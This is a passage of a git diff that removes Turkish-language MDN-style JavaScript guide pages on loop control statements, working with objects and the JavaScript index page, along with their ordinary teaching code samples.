döngü veya <code>switch</code>'ten çıkılır; ikinci ifade (<code>[<em>etiket</em>]</code>) ile belirlenen etiketten çıkılması sağlanır.</p> - -<h3 id="Örnek_1_3"><strong>Örnek 1</strong></h3> - -<p>Aşağıdaki örnekte, <code>değer</code>'e eşit olan dizi elemanı bulununcaya dek dizi içerisindeki elemanlar bir döngüde gezilir.</p> - -<pre class="brush: js notranslate">for (var i = 0; i < a.length; i++) { - if (a[i] == <code>değer</code>) { - break; - } -}</pre> - -<h3 id="Örnek_2_Bir_etiketten_çıkma"><strong>Örnek 2: </strong>Bir etiketten çıkma</h3> - -<pre class="brush: js notranslate">var x = 0; -var z = 0; - -döngüdenÇıkmaEtiketi: while (true) { - console.log("Dıştaki döngüler: " + x); - x += 1; - z = 1; - while (true) { - console.log("İçteki döngüler: " + z); - z += 1; - if (z === 10 && x === 10) { - break döngüdenÇıkmaEtiketi; - } else if (z === 10) { - break; - } - } -} -</pre> - -<h2 id="continue_ifadesi"><code>continue</code> ifadesi</h2> - -<p>{{jsxref("statements/continue","continue")}} ifadesi; <code>while</code>, <code>do-while</code>, <code>for</code>, veya etiketlenmiş ifadelere tekrar girilmesini sağlar.</p> - -<ul> - <li><code>continue</code> ifadesini herhangi bir etiket belirtmeden tek başına kullanırsanız, kendisini çevreleyen döngü bloğundaki sonraki ifadelerin çalıştırılmasını sonlandırır, ve sonraki iterasyon ile birlikte döngünün çalışmasına devam edilir. <code>continue, break </code>ifadesinin tam tersine döngüyü tamamen sonlandırmaz. Örneğin <code>while</code> döngüsünde, koşul kontrolüne geri döner. <code>for</code> döngüsünde ise <code>arttırım-ifadesi</code>'ne döner.</li> - <li><code>continue</code> ifadesi bir etiket ile kullanılırken, etiket ile tanımlı olan döngünün devam etmesini sağlar.</li> -</ul> - -<p><code>continue</code> ifadesinin söz dizimi aşağıdaki gibidir:</p> - -<pre class="syntaxbox notranslate">continue [<em>etiket</em>]; -</pre> - -<h3 id="Örnek_1_4"><strong>Örnek 1</strong></h3> - -<p>Aşağıdaki örnekte yer alan <code>while</code> döngüsündeki <code>continue</code> ifadesi, <code>i</code>'nin değeri yalnızca 3 olduğunda çalıştırılmaktadır. Böylece <code>n</code>, sırasıyla şu değerleri alır: 1, 3, 7, 12.</p> - -<pre class="brush: js notranslate">var i = 0; -var n = 0; -while (i < 5) { - i++; - if (i == 3) { - continue; - } - n += i; -} -</pre> - -<h3 id="Örnek_2_2"><strong>Örnek 2</strong></h3> - -<p>Aşağıdaki örnekte bulunan <code>kontrolivej</code> etiketinde yer alan ifadede, <code>kontrolj</code> etiketli diğer bir ifade yer almaktadır. Eğer <code>continue</code> ifadesi ile karşılaşılırsa, uygulama <code>kontrolj</code>'nin o anki döngüsünü sonlandırır ve sonraki iterasyona geçer. Her <code>continue</code> ifadesi ile karşılaşıldığında, <code>kontrolj</code> döngüsü <code>false</code> değerini döndürene dek devam eder. <code>false</code> döndürdüğünde, döngüden çıkılır ve döngüden sonra gelen <code>kontrolivej</code> ifadesinin kalan kısmı tamamlanır. <code>kontrolivej</code> döngüsüne tekrar girilir. <code>i</code> değişkeni 4'ten büyük oluncaya dek <code>kontrolivej</code> etiketinin çalıştırılmasına devam ettirilir.</p> - -<p>Eğer <code>continue</code> ifadesi, <code>kontrolj</code> etiketi yerine <code>kontrolivej</code> etiketini içerseydi, program <code>kontrolivej</code> ifadesinin altındaki while döngüsünden devam edecekti.</p> - -<pre class="brush: js notranslate"><code>kontrolivej</code>: - while (i < 4) { - console.log(i); - i += 1; - <code>kontrolj</code>: - while (j > 4) { - console.log(j); - j -= 1; - if ((j % 2) == 0) { - continue <code>kontrolj</code>; - } - console.log(j + " tek sayıdır."); - } - console.log("i = " + i); - console.log("j = " + j); - }</pre> - -<h2 id="for...in_ifadesi"><code>for...in</code> ifadesi</h2> - -<p>{{jsxref("statements/for...in","for...in")}} döngüsü, bir nesnenin sayılabilir (<code>enumerable</code>) özelliklerinin üzerinde dolaşılmasını sağlar. Her bir özellik için JavaScript, belirlenen ifadeleri çalıştırır. Bir <code>for...in</code> döngüsü aşağıdaki şekilde oluşturulur:</p> - -<pre class="syntaxbox notranslate">for (değişken in nesne) { - çalıştırılacak_ifadeler -} -</pre> - -<h3 id="Örnek_4"><strong>Örnek</strong></h3> - -<p>Aşağıdaki fonksiyon, bir nesne ve nesnenin adını parametre olarak alır. Sonrasında nesnenin tüm özellikleri üzerinde gezer ve nesnede bulunan özelliklerin adını ve değerini listeleyen bir string döndürür. </p> - -<pre class="brush: js notranslate">function özellikleriListeOlarakVer(nesne, nesnenin_adi) { - var sonuç = ""; - for (var i in nesne) { - sonuç += nesnenin_adi + "." + i + " = " + nesne[i] + "<br>"; - } - sonuç += "<hr>"; - return sonuç; -} -</pre> - -<p><code>marka</code> <font face="Consolas, Liberation Mono, Courier, monospace">ve</font> <code>model</code> özelliklerini içeren bir <code>araba</code> nesnesi için <code>sonuç</code>, aşağıdaki şekilde olacaktır:</p> - -<pre class="brush: js notranslate">araba.marka = Tesla -araba.model = Model S -</pre> - -<h3 id="Dizilerde_kullanımı"><strong>Dizilerde kullanımı</strong></h3> - -<p>{{jsxref("Array")}} elemanlarında dolaşmak için <strong>for...in </strong>kullanımı çok cazip gözükse de for...in ifadesi, sayısal indekslere ek olarak kullanıcı tanımlı özelliklerin de isimlerini döndürür. Bu yüzden dizi üzerinde gezmek için, sayısal indeksler ile birlikte kullanılan geleneksel {{jsxref("statements/for","for")}} döngüsü daha elverişlidir. Çünkü örneğin bir Array nesnesinine özel bir değişken veya fonksiyon eklerseniz, for...in ifadesi dizi elemanlarının yanısıra eklediğiniz kullanıcı tanımlı özellikleri de getirir</p> - -<h2 id="for...of_ifadesi"><code>for...of</code> ifadesi</h2> - -<p>{{jsxref("statements/for...of","for...of")}} ifadesi bir döngü oluşturur ve <a href="/tr/docs/Web/JavaScript/Guide/iterable">gezilebilir (iterable) nesneler</a> ({{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("functions/arguments","arguments")}} nesnesi vb.) üzerinde gezer.</p> - -<pre class="syntaxbox notranslate">for (değişken of nesne) { - çalıştırılacak_ifadeler<em> -</em>}</pre> - -<p>Aşağıdaki örnekte, <code>for...of</code> döngüsü ve {{jsxref("statements/for...in","for...in")}} döngüsü arasındaki fark gösterilmektedir. <code>for...in</code> döngüsü nesne değişkenlerinin isimleri üzerinde gezerken, <code>for...of</code> döngüsü ise değişkenlerin değerleri üzerinde gezer:</p> - -<pre class="brush:js notranslate">let dizi = [3, 5, 7]; -dizi.selam = "merhaba"; - -for (let i in dizi) { - console.log(i); // Çıktısı: "0", "1", "2", "selam" - console.log(typeof i); //string tipi -} - -for (let i of dizi) { - console.log(i); // Çıktısı: 3, 5, 7 - console.log(typeof i); //degiskenin sahip old. tip -} -</pre> - -<p>{{PreviousNext("Web/JavaScript/Guide/Ifadeler", "Web/JavaScript/Guide/Functions")}}</p> diff --git a/files/tr/web/javascript/guide/working_with_objects/index.html b/files/tr/web/javascript/guide/working_with_objects/index.html deleted file mode 100644 index 7b3c555da6..0000000000 --- a/files/tr/web/javascript/guide/working_with_objects/index.html +++ /dev/null @@ -1,505 +0,0 @@ ---- -title: Nesnelerle çalışmak -slug: Web/JavaScript/Guide/Working_with_Objects -translation_of: Web/JavaScript/Guide/Working_with_Objects -original_slug: Web/JavaScript/Guide/Nesneler_ile_çalışmak ---- -<div>{{jsSidebar("JavaScript Rehberi")}} {{PreviousNext("Web/JavaScript/Guide/Keyed_collections", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div> - -<p class="summary">JavaScript basit bir nesne tabanlı paradigmada tasarlanmıştır. Bir nesne bir özellikler koleksiyonudur ve bir özellik bir ad (veya anahtar) ile bir değer arasındaki ilişkidir. Bir özelliğin değeri bir fonksiyon olabilir, bu durumda özellik bir metod olarak bilinir. Tarayıcıda önceden tanımlanmış olan nesnelere ek olarak, kendi nesnelerinizi de tanımlayabilirsiniz. Bu bölümde, nesnelerin, özelliklerin, fonksiyonların ve metodların nasıl kullanıldığı ve kendi nesnelerinizin nasıl oluşturulacağı açıklanmaktadır.</p> - -<h2 id="Nesnelere_genel_bakış">Nesnelere genel bakış</h2> - -<p>JavaScript'teki nesneler, diğer birçok programlama dilinde olduğu gibi, gerçek hayattaki nesnelerle karşılaştırılabilir. JavaScript'teki nesneler kavramı gerçek hayattaki somut nesnelerle anlaşılabilir.</p> - -<p>JavaScript'te bir nesne, özellikleri ve tipiyle bağımsız bir varlıktır. Örneğin bir fincanla karşılaştırın. Bir fincan, özellikleri olan bir nesnedir. Bir fincan bir renge, bir tasarıma, ağırlığa, yapıldığı bir malzemeye vs. sahiptir. Aynı şekilde, JavaScript nesnelerinin de özelliklerini tanımlayan özellikleri olabilir.</p> - -<h2 id="Nesneler_ve_özellikleri">Nesneler ve özellikleri</h2> - -<p>A JavaScript object has properties associated with it. A property of an object can be explained as a variable that is attached to the object. Object properties are basically the same as ordinary JavaScript variables, except for the attachment to objects. The properties of an object define the characteristics of the object. You access the properties of an object with a simple dot-notation:</p> - -<pre class="brush: js">objectName.propertyName -</pre> - -<p>Like all JavaScript variables, both the object name (which could be a normal variable) and property name are case sensitive. You can define a property by assigning it a value. For example, let's create an object named <code>myCar</code> and give it properties named <code>make</code>, <code>model</code>, and <code>year</code> as follows:</p> - -<pre class="brush: js">var myCar = new Object(); -myCar.make = 'Ford'; -myCar.model = 'Mustang'; -myCar.year = 1969; -</pre> - -<p>Unassigned properties of an object are {{jsxref("undefined")}} (and not {{jsxref("null")}}).</p> - -<pre class="brush: js">myCar.color; // undefined</pre> - -<p>Properties of JavaScript objects can also be accessed or set using a bracket notation (for more details see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>). Objects are sometimes called <em>associative arrays</em>, since each property is associated with a string value that can be used to access it. So, for example, you could access the properties of the <code>myCar</code> object as follows:</p> - -<pre class="brush: js">myCar['make'] = 'Ford'; -myCar['model'] = 'Mustang'; -myCar['year'] = 1969; -</pre> - -<p>An object property name can be any valid JavaScript string, or anything that can be converted to a string, including the empty string. However, any property name that is not a valid JavaScript identifier (for example, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation. This notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). Examples are as follows:</p> - -<pre class="brush: js">// four variables are created and assigned in a single go, -// separated by commas -var myObj = new Object(), - str = 'myString', - rand = Math.random(), - obj = new Object(); - -myObj.type = 'Dot syntax'; -myObj['date created'] = 'String with space'; -myObj[str] = 'String value'; -myObj[rand] = 'Random Number'; -myObj[obj] = 'Object'; -myObj[''] = 'Even an empty string'; - -console.log(myObj); -</pre> - -<p>Please note that all keys in the square bracket notation are converted to string unless they're Symbols, since JavaScript object property names (keys) can only be strings or Symbols (at some point, private names will also be added as the <a href="https://github.com/tc39/proposal-class-fields">class fields proposal</a> progresses, but you won't use them with <code>[]</code> form). For example, in the above code, when the key <code>obj</code> is added to the <code>myObj</code>, JavaScript will call the {{jsxref("Object.toString", "obj.toString()")}} method, and use this result string as the new key.</p> - -<p>You can also access properties by using a string value that is stored in a variable:</p> - -<pre class="brush: js">var propertyName = 'make'; -myCar[propertyName] = 'Ford'; - -propertyName = 'model'; -myCar[propertyName] = 'Mustang'; -</pre> - -<p>You can use the bracket notation with <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> to iterate over all the enumerable properties of an object. To illustrate how this works, the following function displays the properties of the object when you pass the object and the object's name as arguments to the function:</p> - -<pre class="brush: js">function showProps(obj, objName) { - var result = ``; - for (var i in obj) { - // obj.hasOwnProperty() is used to filter out properties from the object's prototype chain - if (obj.hasOwnProperty(i)) { - result += `${objName}.${i} = ${obj[i]}\n`; - } - } - return result; -} -</pre> - -<p>So, the function call <code>showProps(myCar, "myCar")</code> would return the following:</p> - -<pre class="brush: js">myCar.make = Ford -myCar.model = Mustang -myCar.year = 1969</pre> - -<h2 id="Enumerate_the_properties_of_an_object">Enumerate the properties of an object</h2> - -<p>Starting with <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla" title="en-US/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a>, there are three native ways to list/traverse object properties:</p> - -<ul> - <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> loops<br> - This method traverses all enumerable properties of an object and its prototype chain</li> - <li>{{jsxref("Object.keys", "Object.keys(o)")}}<br> - This method returns an array with all the own (not in the prototype chain) enumerable properties' names ("keys") of an object <code>o</code>.</li> - <li>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}}<br> - This method returns an array containing all own properties' names (enumerable or not) of an object <code>o</code>.</li> -</ul> - -<p>Before ECMAScript 5, there was no native way to list all properties of an object. However, this can be achieved with the following function:</p> - -<pre class="brush: js">function listAllProperties(o) { - var objectToInspect; - var result = []; - - for(objectToInspect = o; objectToInspect !== null; - objectToInspect = Object.getPrototypeOf(objectToInspect)) { - result = result.concat( - Object.getOwnPropertyNames(objectToInspect) - ); - } - - return result; -} -</pre> - -<p>This can be useful to reveal "hidden" properties (properties in the prototype chain which are not accessible through the object, because another property has the same name earlier in the prototype chain). Listing accessible properties only can easily be done by removing duplicates in the array.</p> - -<h2 id="Creating_new_objects">Creating new objects</h2> - -<p>JavaScript has a number of predefined objects. In addition, you can create your own objects. You can create an object using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Alternatively, you can first create a constructor function and then instantiate an object invoking that function in conjunction with the <code>new</code> operator.</p> - -<h3 id="Using_object_initializers"><span id="Object_initializers">Using object initializers</span></h3> - -<p>In addition to creating objects using a constructor function, you can create objects using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Using object initializers is sometimes referred to as creating objects with literal notation. "Object initializer" is consistent with the terminology used by C++.</p> - -<p>The syntax for an object using an object initializer is:</p> - -<pre class="brush: js">var obj = { property_1: value_1, // property_# may be an identifier... - 2: value_2, // or a number... - // ..., - 'property n': value_n }; // or a string -</pre> - -<p>where <code>obj</code> is the name of the new object, each <code>property_<var>i</var></code> is an identifier (either a name, a number, or a string literal), and each <code>value_<var>i</var></code> is an expression whose value is assigned to the <code>property_<var>i</var></code>. The <code>obj</code> and assignment is optional; if you do not need to refer to this object elsewhere, you do not need to assign it to a variable. (Note that you may need to wrap the object literal in parentheses if the object appears where a statement is expected, so as not to have the literal be confused with a block statement.)</p> - -<p>Object initializers are expressions, and each object initializer results in a new object being created whenever the statement in which it appears is executed. Identical object initializers create distinct objects that will not compare to each other as equal. Objects are created as if a call to <code>new Object()</code> were made; that is, objects made from object literal expressions are instances of <code>Object</code>.</p> - -<p>The following statement creates an object and assigns it to the variable <code>x</code> if and only if the expression <code>cond</code> is true:</p> - -<pre class="brush: js">if (cond) var x = {greeting: 'hi there'}; -</pre> - -<p>The following example creates <code>myHonda</code> with three properties. Note that the <code>engine</code> property is also an object with its own properties.</p> - -<pre class="brush: js">var myHonda = {color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}; -</pre> - -<p>You can also use object initializers to create arrays. See <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals">array literals</a>.</p> - -<h3 id="Using_a_constructor_function">Using a constructor function</h3> - -<p>Alternatively, you can create an object with these two steps:</p> - -<ol> - <li>Define the object type by writing a constructor function. There is a strong convention, with good reason, to use a capital initial letter.</li> - <li>Create an instance of the object with <code>new</code>.</li> -</ol> - -<p>To define an object type, create a function for the object type that specifies its name, properties, and methods. For example, suppose you want to create an object type for cars. You want this type of object to be called <code>Car</code>, and you want it to have properties for make, model, and year. To do this, you would write the following function:</p> - -<pre class="brush: js">function Car(make, model, year) { - this.make = make; - this.model = model; - this.year = year; -} -</pre> - -<p>Notice the use of <code>this</code> to assign values to the object's properties based on the values passed to the function.</p> - -<p>Now you can create an object called <code>mycar</code> as follows:</p> - -<pre class="brush: js">var mycar = new Car('Eagle', 'Talon TSi', 1993); -</pre> - -<p>This statement creates <code>mycar</code> and assigns it the specified values for its properties. Then the value of <code>mycar.make</code> is the string "Eagle", <code>mycar.year</code> is the integer 1993, and so on.</p> - -<p>You can create any number of <code>Car</code> objects by calls to <code>new</code>. For example,</p> - -<pre class="brush: js">var kenscar = new Car('Nissan', '300ZX', 1992); -var vpgscar = new Car('Mazda', 'Miata', 1990); -</pre> - -<p>An object can have a property that is itself another object. For example, suppose you define an object called <code>person</code> as follows:</p> - -<pre class="brush: js">function Person(name, age, sex) { - this.name = name; - this.age = age; - this.sex = sex; -} -</pre> - -<p>and then instantiate two new <code>person</code> objects as follows:</p> - -<pre class="brush: js">var rand = new Person('Rand McKinnon', 33, 'M'); -var ken = new Person('Ken Jones', 39, 'M'); -</pre> - -<p>Then, you can rewrite the definition of <code>Car</code> to include an <code>owner</code> property that takes a <code>person</code> object, as follows:</p> - -<pre class="brush: js">function Car(make, model, year, owner) { - this.make = make; - this.model = model; - this.year = year; - this.owner = owner; -} -</pre> - -<p>To instantiate the new objects, you then use the following:</p> - -<pre class="brush: js">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand); -var car2 = new Car('Nissan', '300ZX', 1992, ken); -</pre> - -<p>Notice that instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects <code>rand</code> and <code>ken</code> as the arguments for the owners. Then if you want to find out the name of the owner of car2, you can access the following property:</p> - -<pre class="brush: js">car2.owner.name -</pre> - -<p>Note that you can always add a property to a previously defined object. For example, the statement</p> - -<pre class="brush: js">car1.color = 'black'; -</pre> - -<p>adds a property <code>color</code> to car1, and assigns it a value of "black." However, this does not affect any other objects. To add the new property to all objects of the same type, you have to add the property to the definition of the <code>Car</code> object type.</p> - -<h3 id="Using_the_Object.create_method">Using the <code>Object.create</code> method</h3> - -<p>Objects can also be created using the {{jsxref("Object.create()")}} method. This method can be very useful, because it allows you to choose the prototype object for the object you want to create, without having to define a constructor function.</p> - -<pre class="brush: js">// Animal properties and method encapsulation -var Animal = { - type: 'Invertebrates', // Default value of properties - displayType: function() { // Method which will display type of Animal - console.log(this.type); - } -}; - -// Create new animal type called animal1 -var animal1 = Object.create(Animal); -animal1.displayType(); // Output:Invertebrates - -// Create new animal type called Fishes -var fish = Object.create(Animal); -fish.type = 'Fishes'; -fish.displayType(); // Output:Fishes</pre> - -<h2 id="Inheritance">Inheritance</h2> - -<p>All objects in JavaScript inherit from at least one other object. The object being inherited from is known as the prototype, and the inherited properties can be found in the <code>prototype</code> object of the constructor. See <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a> for more information.</p> - -<h2 id="Indexing_object_properties">Indexing object properties</h2> - -<p>You can refer to a property of an object either by its property name or by its ordinal index. If you initially define a property by its name, you must always refer to it by its name, and if you initially define a property by an index, you must always refer to it by its index.</p> - -<p>This restriction applies when you create an object and its properties with a constructor function (as we did previously with the <code>Car</code> object type) and when you define individual properties explicitly (for example, <code>myCar.color = "red"</code>). If you initially define an object property with an index, such as <code>myCar[5] = "25 mpg"</code>, you subsequently refer to the property only as <code>myCar[5]</code>.</p> - -<p>The exception to this rule is array-like object reflected from HTML, such as the <code>forms</code> array-like object. You can always refer to objects in these array-like objects by either their ordinal number (based on where they appear in the document) or their name (if defined). For example, if the second <code><FORM></code> tag in a document has a <code>NAME</code> attribute of "myForm", you can refer to the form as <code>document.forms[1]</code> or <code>document.forms["myForm"]</code> or <code>document.forms.myForm</code>.</p> - -<h2 id="Defining_properties_for_an_object_type">Defining properties for an object type</h2> - -<p>You can add a property to a previously defined object type by using the <code>prototype</code> property. This defines a property that is shared by all objects of the specified type, rather than by just one instance of the object. The following code adds a <code>color</code> property to all objects of type <code>Car</code>, and then assigns a value to the <code>color</code> property of the object <code>car1</code>.</p> - -<pre class="brush: js">Car.prototype.color = null; -car1.color = 'black'; -</pre> - -<p>See the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype" title="en-US/docs/JavaScript/Reference/Global Objects/Function/prototype"><code>prototype</code> property</a> of the <code>Function</code> object in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a> for more information.</p> - -<h2 id="Defining_methods">Defining methods</h2> - -<p>A <em>method</em> is a function associated with an object, or, simply put, a method is a property of an object that is a function. Methods are defined the way normal functions are defined, except that they have to be assigned as the property of an object. See also <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more details. An example is:</p> - -<pre class="brush: js">objectName.methodname = functionName; - -var myObj = { - myMethod: function(params) { - // ...do something - } - - // OR THIS WORKS TOO - - myOtherMethod(params) { - // ...do something else - } -}; -</pre> - -<p>where <code>objectName</code> is an existing object, <code>methodname</code> is the name you are assigning to the method, and <code>functionName</code> is the name of the function.</p> - -<p>You can then call the method in the context of the object as follows:</p> - -<pre class="brush: js">object.methodname(params); -</pre> - -<p>You can define methods for an object type by including a method definition in the object constructor function. You could define a function that would format and display the properties of the previously-defined <code>Car</code> objects; for example,</p> - -<pre class="brush: js">function displayCar() { - var result = `A Beautiful ${this.year} ${this.make} ${this.model}`; - pretty_print(result); -} -</pre> - -<p>where <code>pretty_print</code> is a function to display a horizontal rule and a string. Notice the use of <code>this</code> to refer to the object to which the method belongs.</p> - -<p>You can make this function a method of <code>Car</code> by adding the statement</p> - -<pre class="brush: js">this.displayCar = displayCar; -</pre> - -<p>to the object definition. So, the full definition of <code>Car</code> would now look like</p> - -<pre class="brush: js">function Car(make, model, year, owner) { - this.make = make; - this.model = model; - this.year = year; - this.owner = owner; - this.displayCar = displayCar; -} -</pre> - -<p>Then you can call the <code>displayCar</code> method for each of the objects as follows:</p> - -<pre class="brush: js">car1.displayCar(); -car2.displayCar(); -</pre> - -<h2 id="Using_this_for_object_references">Using <code>this</code> for object references</h2> - -<p>JavaScript has a special keyword, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, that you can use within a method to refer to the current object. For example, suppose you have 2 objects, <code>Manager</code>and <code>Intern</code>. Each object have their own <code>name</code>, <code>age</code> and <code>job</code>. In the function <code>sayHi()</code>, notice there is <code>this.name</code>. When added to the 2 objects they can be called and returns the <code>'Hello, My name is'</code> then adds the <code>name</code> value from that specific object. As shown below. </p> - -<pre class="brush: js">const Manager = { - name: "John", - age: 27, - job: "Software Engineer" -} -const Intern= { - name: "Ben", - age: 21, - job: "Software Engineer Intern" -} - -function sayHi() { - console.log('Hello, my name is', this.name) -} - -// add sayHi function to both objects -Manager.sayHi = sayHi; -Intern.sayHi = sayHi; - -Manager.sayHi() // Hello, my name is John' -Intern.sayHi() // Hello, my name is Ben' -</pre> - -<p>The <code>this</code> refers to the object that it is in. You can create a new function called <code>howOldAmI()</code>which logs a sentence saying how old the person is. </p> - -<pre class="brush: js">function howOldAmI (){ - console.log('I am ' + this.age + ' years old.') -} -Manager.howOldAmI = howOldAmI; -Manager.howOldAmI() // I am 27 years old. -</pre> - -<h2 id="Defining_getters_and_setters">Defining getters and setters</h2> - -<p>A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> is a method that gets the value of a specific property. A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> is a method that sets the value of a specific property. You can define getters and setters on any predefined core object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p> - -<p>The following illustrates how getters and setters could work for a user-defined object <code>o</code>.</p> - -<pre class="brush: js">var o = { - a: 7, - get b() { - return this.a + 1; - }, - set c(x) { - this.a = x / 2; - } -}; - -console.log(o.a); // 7 -console.log(o.b); // 8 -o.c = 50; -console.log(o.a); // 25 -</pre> - -<p>The <code>o</code> object's properties are:</p> - -<ul> - <li><code>o.a</code> — a number</li> - <li><code>o.b</code> — a getter that returns <code>o.a</code> plus 1</li> - <li><code>o.c</code> — a setter that sets the value of <code>o.a</code> to half of the value <code>o.c</code> is being set to</li> -</ul> - -<p>Please note that function names of getters and setters defined in an object literal using "[gs]et <em>property</em>()" (as opposed to <code>__define[GS]etter__</code> ) are not the names of the getters themselves, even though the <code>[gs]et <em>propertyName</em>(){ }</code> syntax may mislead you to think otherwise. To name a function in a getter or setter using the "[gs]et <em>property</em>()" syntax, define an explicitly named function programmatically using {{jsxref("Object.defineProperty")}} (or the {{jsxref("Object.defineGetter", "Object.prototype.__defineGetter__")}} legacy fallback).</p> - -<p>The following code illustrates how getters and setters can extend the {{jsxref("Date")}} prototype to add a <code>year</code> property to all instances of the predefined <code>Date</code> class. It uses the <code>Date</code> class's existing <code>getFullYear</code> and <code>setFullYear</code> methods to support the <code>year</code> property's getter and setter.</p> - -<p>These statements define a getter and setter for the year property:</p> - -<pre class="brush: js">var d = Date.prototype; -Object.defineProperty(d, 'year', { - get: function() { return this.getFullYear(); }, - set: function(y) { this.setFullYear(y); } -}); -</pre> - -<p>These statements use the getter and setter in a <code>Date</code> object:</p> - -<pre class="brush: js">var now = new Date(); -console.log(now.year); // 2000 -now.year = 2001; // 987617605170 -console.log(now); -// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001 -</pre> - -<p>In principle, getters and setters can be either</p> - -<ul> - <li>defined using <a href="#Object_initializers">object initializers</a>, or</li> - <li>added later to any object at any time using a getter or setter adding method.</li> -</ul> - -<p>When defining getters and setters using <a href="#Object_initializers">object initializers</a> all you need to do is to prefix a getter method with <code>get</code> and a setter method with <code>set</code>. Of course, the getter method must not expect a parameter, while the setter method expects exactly one parameter (the new value to set). For instance:</p> - -<pre class="brush: js">var o = { - a: 7, - get b() { return this.a + 1; }, - set c(x) { this.a = x / 2; } -}; -</pre> - -<p>Getters and setters can also be added to an object at any time after creation using the <code>Object.defineProperties</code> method. This method's first parameter is the object on which you want to define the getter or setter. The second parameter is an object whose property names are the getter or setter names, and whose property values are objects for defining the getter or setter functions. Here's an example that defines the same getter and setter used in the previous example:</p> - -<pre class="brush: js">var o = { a: 0 }; - -Object.defineProperties(o, { - 'b': { get: function() { return this.a + 1; } }, - 'c': { set: function(x) { this.a = x / 2; } } -}); - -o.c = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property -console.log(o.b); // Runs the getter, which yields a + 1 or 6 -</pre> - -<p>Which of the two forms to choose depends on your programming style and task at hand. If you already go for the object initializer when defining a prototype you will probably most of the time choose the first form. This form is more compact and natural. However, if you need to add getters and setters later — because you did not write the prototype or particular object — then the second form is the only possible form. The second form probably best represents the dynamic nature of JavaScript — but it can make the code hard to read and understand.</p> - -<h2 id="Deleting_properties">Deleting properties</h2> - -<p>You can remove a non-inherited property by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> operator. The following code shows how to remove a property.</p> - -<pre class="brush: js">// Creates a new object, myobj, with two properties, a and b. -var myobj = new Object; -myobj.a = 5; -myobj.b = 12; - -// Removes the a property, leaving myobj with only the b property. -delete myobj.a; -console.log ('a' in myobj); // output: "false" -</pre> - -<p>You can also use <code>delete</code> to delete a global variable if the <code>var</code> keyword was not used to declare the variable:</p> - -<pre class="brush: js">g = 17; -delete g; -</pre> - -<h2 id="Comparing_objects">Comparing objects</h2> - -<p>In JavaScript, objects are a reference type. Two distinct objects are never equal, even if they have the same properties. Only comparing the same object reference with itself yields true.</p> - -<pre class="brush: js">// Two variables, two distinct objects with the same properties -var fruit = {name: 'apple'}; -var fruitbear = {name: 'apple'}; - -fruit == fruitbear; // return false -fruit === fruitbear; // return false</pre> - -<pre class="brush: js">// Two variables, a single object -var fruit = {name: 'apple'}; -var fruitbear = fruit; // Assign fruit object reference to fruitbear - -// Here fruit and fruitbear are pointing to same object -fruit == fruitbear; // return true -fruit === fruitbear; // return true - -fruit.name = 'grape'; -console.log(fruitbear); // output: { name: "grape" }, instead of { name: "apple" } -</pre> - -<p>For more information about comparison operators, see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a>.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>To dive deeper, read about the <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">details of JavaScript's object model</a>.</li> - <li>To learn about ECMAScript 2015 classes (an alternative way to create objects), read the <a href="/en-US/docs/Web/JavaScript/Reference/Classes">JavaScript classes</a> chapter.</li> -</ul> - -<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</p> diff --git a/files/tr/web/javascript/index.html b/files/tr/web/javascript/index.html deleted file mode 100644 index 578ff9261e..0000000000 --- a/files/tr/web/javascript/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: JavaScript -slug: Web/JavaScript -tags: - - JavaScript - - JavaScript öğrenmek - - öğren -translation_of: Web/JavaScript ---- -<p>{{JsSidebar}}</p> - -<p class="summary"><strong>JavaScript</strong><sup>®</sup> (genellikle js olarak kısaltılır) basit şekilde yorumlanmış ve <a href="https://en.wikipedia.org/wiki/First-class_functions" title="https://en.wikipedia.org/wiki/First-class_functions">birinci sınıf fonksiyonlar</a> ile harmanlanmış nesne tabanlı bir programlama dilidir. Daha çok web sayfaları için kullanılan bir betik dili olarak bilinir, ancak <a class="external external-icon" href="https://nodejs.org/">node.js</a> veya <a href="https://couchdb.apache.org/">Apache CouchDB</a> gibi <a class="external external-icon" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">tarayıcı olmayan ortamlarda da sıkça kullanılır</a>. <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">Prototip tabanlı</a> olması ve çoklu paradigma içeren bir dil olması dinamik ve fonksiyonel 